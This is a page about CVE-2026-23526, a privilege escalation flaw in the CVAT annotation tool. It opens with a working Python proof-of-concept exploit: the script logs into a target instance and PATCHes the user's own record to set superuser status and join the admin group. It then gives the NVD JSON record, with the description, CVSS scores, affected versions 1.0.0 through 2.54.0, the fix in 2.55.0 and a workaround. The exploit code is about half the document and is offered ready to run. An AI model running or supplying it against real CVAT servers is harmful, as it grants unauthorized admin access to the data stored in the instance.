CVE-2026-23526

#!/usr/bin/env python3 """ CVE-2026-23526 PoC - CVAT Staff Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import requests import json TARGET = "http://target-cvat-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """Exploit privilege escalation vulnerability in CVAT""" session = requests.Session() # Step 1: Login to get authentication token login_url = f"{TARGET}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None print("[+] Login successful") token = response.json().get('key') or session.cookies.get('csrftoken') # Step 2: Get current user ID user_url = f"{TARGET}/api/v1/users/self" response = session.get(user_url) user_id = response.json().get('id') print(f"[+] Current user ID: {user_id}") # Step 3: Escalate privileges to superuser update_url = f"{TARGET}/api/v1/users/{user_id}" headers = { "X-CSRFToken": session.cookies.get('csrftoken'), "Referer": TARGET } # Payload to grant superuser privileges exploit_data = { "is_superuser": True, "groups": ["admin"] } response = session.patch(update_url, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] Privilege escalation successful!") print("[+] User is now a superuser with full admin access") return True else: print(f"[-] Exploit failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-23526", "sourceIdentifier": "[email protected]", "published": "2026-01-21T22:15:50.433", "lastModified": "2026-02-20T20:08:27.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVAT is an open source interactive video and image annotation tool for computer vision. In versions 1.0.0 through 2.54.0, users that have the staff status may freely change their permissions, including giving themselves superuser status and joining the admin group, which gives them full access to the data in the CVAT instance. Version 2.55.0 fixes the issue. As a workaround, review the list of users with staff status and revoke it from any users that are not expected to have superuser privileges."}, {"lang": "es", "value": "CVAT es una herramienta de anotación interactiva de vídeo e imagen de código abierto para visión por computadora. En las versiones 1.0.0 a 2.54.0, los usuarios que tienen el estado de personal pueden cambiar libremente sus permisos, incluyendo otorgarse a sí mismos el estado de superusuario y unirse al grupo de administradores, lo que les da acceso completo a los datos en la instancia de CVAT. La versión 2.55.0 corrige el problema. Como solución alternativa, revise la lista de usuarios con estado de personal y revóquelo a cualquier usuario que no se espere que tenga privilegios de superusuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-267"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cvat:computer_vision_annotation_tool:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.55.0", "matchCriteriaId": "4B280485-FCFA-441E-AFDD-E1F65EAB5131"}]}]}], "references": [{"url": "https://github.com/cvat-ai/cvat/commit/88ac7aa4d5b52271a30f1aa387c0f5745f8f77d4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/cvat-ai/cvat/security/advisories/GHSA-7pvv-w55f-qmw7", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}